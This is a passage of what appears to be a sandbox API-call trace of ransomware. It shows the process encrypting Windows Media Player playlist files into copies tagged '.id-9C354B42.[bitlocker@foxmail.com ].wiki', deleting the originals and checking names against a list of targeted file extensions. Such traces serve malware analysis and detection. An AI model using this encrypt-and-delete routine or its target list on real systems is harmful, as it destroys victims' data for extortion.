playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.787] GetLastError () returned 0x0 [0180.787] ReadFile (in: hFile=0x320, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x504, lpOverlapped=0x0) returned 1 [0180.790] WriteFile (in: hFile=0x1b4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x510, lpOverlapped=0x0) returned 1 [0180.791] ReadFile (in: hFile=0x320, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.792] WriteFile (in: hFile=0x1b4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x11e, lpOverlapped=0x0) returned 1 [0180.792] SetEndOfFile (hFile=0x1b4) returned 1 [0180.792] CloseHandle (hObject=0x1b4) returned 1 [0180.792] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.792] SetEndOfFile (hFile=0x320) returned 1 [0180.793] CloseHandle (hObject=0x320) returned 1 [0180.793] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.793] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl")) returned 1 [0180.793] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.793] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.793] lstrlenW (lpString=".doc") returned 4 [0180.793] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.793] lstrlenW (lpString=".docx") returned 5 [0180.793] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.793] lstrlenW (lpString=".pdf") returned 4 [0180.793] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.793] lstrlenW (lpString=".xls") returned 4 [0180.793] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.793] lstrlenW (lpString=".xlsx") returned 5 [0180.793] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.793] lstrlenW (lpString=".ppt") returned 4 [0180.793] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.794] lstrlenW (lpString=".zip") returned 4 [0180.794] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.794] lstrlenW (lpString=".rar") returned 4 [0180.794] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.794] lstrlenW (lpString=".bz2") returned 4 [0180.794] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.794] lstrlenW (lpString=".7z") returned 3 [0180.794] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.794] lstrlenW (lpString=".dbf") returned 4 [0180.794] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.794] lstrlenW (lpString=".1cd") returned 4 [0180.794] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.794] lstrlenW (lpString=".jpg") returned 4 [0180.794] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.794] lstrlenW (lpString=".doc") returned 4 [0180.794] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.794] lstrlenW (lpString=".docx") returned 5 [0180.794] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.794] lstrlenW (lpString=".pdf") returned 4 [0180.794] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.794] lstrlenW (lpString=".xls") returned 4 [0180.794] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.794] lstrlenW (lpString=".xlsx") returned 5 [0180.794] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.795] lstrlenW (lpString=".ppt") returned 4 [0180.795] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.795] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.795] lstrlenW (lpString=".zip") returned 4 [0180.795] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.795] lstrlenW (lpString=".rar") returned 4 [0180.795] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.795] lstrlenW (lpString=".bz2") returned 4 [0180.795] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.795] lstrlenW (lpString=".7z") returned 3 [0180.795] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.795] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.795] lstrlenW (lpString=".dbf") returned 4 [0180.795] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.795] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.795] lstrlenW (lpString=".1cd") returned 4 [0180.795] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.795] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 134 [0180.795] lstrlenW (lpString=".jpg") returned 4 [0180.795] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.795] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.795] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39 [0180.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.796] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=797) returned 1 [0180.796] CloseHandle (hObject=0x320) returned 1 [0180.796] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl")) returned 0x2020 [0180.796] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.796] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.796] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.797] GetLastError () returned 0x0 [0180.797] ReadFile (in: hFile=0x320, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x31d, lpOverlapped=0x0) returned 1 [0180.798] WriteFile (in: hFile=0x1b4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x320, lpOverlapped=0x0) returned 1 [0180.799] ReadFile (in: hFile=0x320, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.799] WriteFile (in: hFile=0x1b4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x122, lpOverlapped=0x0) returned 1 [0180.799] SetEndOfFile (hFile=0x1b4) returned 1 [0180.800] CloseHandle (hObject=0x1b4) returned 1 [0180.800] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.800] SetEndOfFile (hFile=0x320) returned 1 [0180.801] CloseHandle (hObject=0x320) returned 1 [0180.801] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.801] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl")) returned 1 [0180.801] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.801] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.801] lstrlenW (lpString=".doc") returned 4 [0180.801] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.801] lstrlenW (lpString=".docx") returned 5 [0180.801] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.801] lstrlenW (lpString=".pdf") returned 4 [0180.801] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.801] lstrlenW (lpString=".xls") returned 4 [0180.801] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.801] lstrlenW (lpString=".xlsx") returned 5 [0180.801] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.801] lstrlenW (lpString=".ppt") returned 4 [0180.801] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.802] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.802] lstrlenW (lpString=".zip") returned 4 [0180.802] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.802] lstrlenW (lpString=".rar") returned 4 [0180.802] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.802] lstrlenW (lpString=".bz2") returned 4 [0180.802] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.802] lstrlenW (lpString=".7z") returned 3 [0180.802] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.802] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.802] lstrlenW (lpString=".dbf") returned 4 [0180.802] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.802] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.802] lstrlenW (lpString=".1cd") returned 4 [0180.802] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.802] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.802] lstrlenW (lpString=".jpg") returned 4 [0180.802] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.802] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.802] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.802] lstrlenW (lpString=".doc") returned 4 [0180.802] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.802] lstrlenW (lpString=".docx") returned 5 [0180.802] lstrcmpiW (lpString1=".docx", lpString2="h.wpl") returned -1 [0180.802] lstrlenW (lpString=".pdf") returned 4 [0180.802] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.802] lstrlenW (lpString=".xls") returned 4 [0180.802] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.802] lstrlenW (lpString=".xlsx") returned 5 [0180.802] lstrcmpiW (lpString1=".xlsx", lpString2="h.wpl") returned -1 [0180.802] lstrlenW (lpString=".ppt") returned 4 [0180.803] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.803] lstrlenW (lpString=".zip") returned 4 [0180.803] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.803] lstrlenW (lpString=".rar") returned 4 [0180.803] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.803] lstrlenW (lpString=".bz2") returned 4 [0180.803] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.803] lstrlenW (lpString=".7z") returned 3 [0180.803] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.803] lstrlenW (lpString=".dbf") returned 4 [0180.803] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.803] lstrlenW (lpString=".1cd") returned 4 [0180.803] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.803] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 136 [0180.803] lstrlenW (lpString=".jpg") returned 4 [0180.803] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.803] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.803] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34 [0180.803] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.804] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=785) returned 1 [0180.804] CloseHandle (hObject=0x320) returned 1 [0180.804] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl")) returned 0x2020 [0180.804] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.805] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.805] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.805] GetLastError () returned 0x0 [0180.805] ReadFile (in: hFile=0x320, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x311, lpOverlapped=0x0) returned 1 [0180.807] WriteFile (in: hFile=0x1b4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x320, lpOverlapped=0x0) returned 1 [0180.967] ReadFile (in: hFile=0x320, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.967] WriteFile (in: hFile=0x1b4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x118, lpOverlapped=0x0) returned 1 [0180.967] SetEndOfFile (hFile=0x1b4) returned 1 [0181.526] CloseHandle (hObject=0x1b4) returned 1 [0181.526] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.526] SetEndOfFile (hFile=0x320) returned 1 [0181.537] CloseHandle (hObject=0x320) returned 1 [0181.542] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.560] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl")) returned 1 [0181.560] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.560] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.560] lstrlenW (lpString=".doc") returned 4 [0181.560] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.560] lstrlenW (lpString=".docx") returned 5 [0181.560] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0181.560] lstrlenW (lpString=".pdf") returned 4 [0181.560] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.560] lstrlenW (lpString=".xls") returned 4 [0181.560] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.560] lstrlenW (lpString=".xlsx") returned 5 [0181.560] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0181.560] lstrlenW (lpString=".ppt") returned 4 [0181.560] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.560] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.560] lstrlenW (lpString=".zip") returned 4 [0181.560] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.560] lstrlenW (lpString=".rar") returned 4 [0181.560] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.560] lstrlenW (lpString=".bz2") returned 4 [0181.560] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.561] lstrlenW (lpString=".7z") returned 3 [0181.561] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.561] lstrlenW (lpString=".dbf") returned 4 [0181.561] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.561] lstrlenW (lpString=".1cd") returned 4 [0181.561] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.561] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 131 [0181.561] lstrlenW (lpString=".jpg") returned 4 [0181.561] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 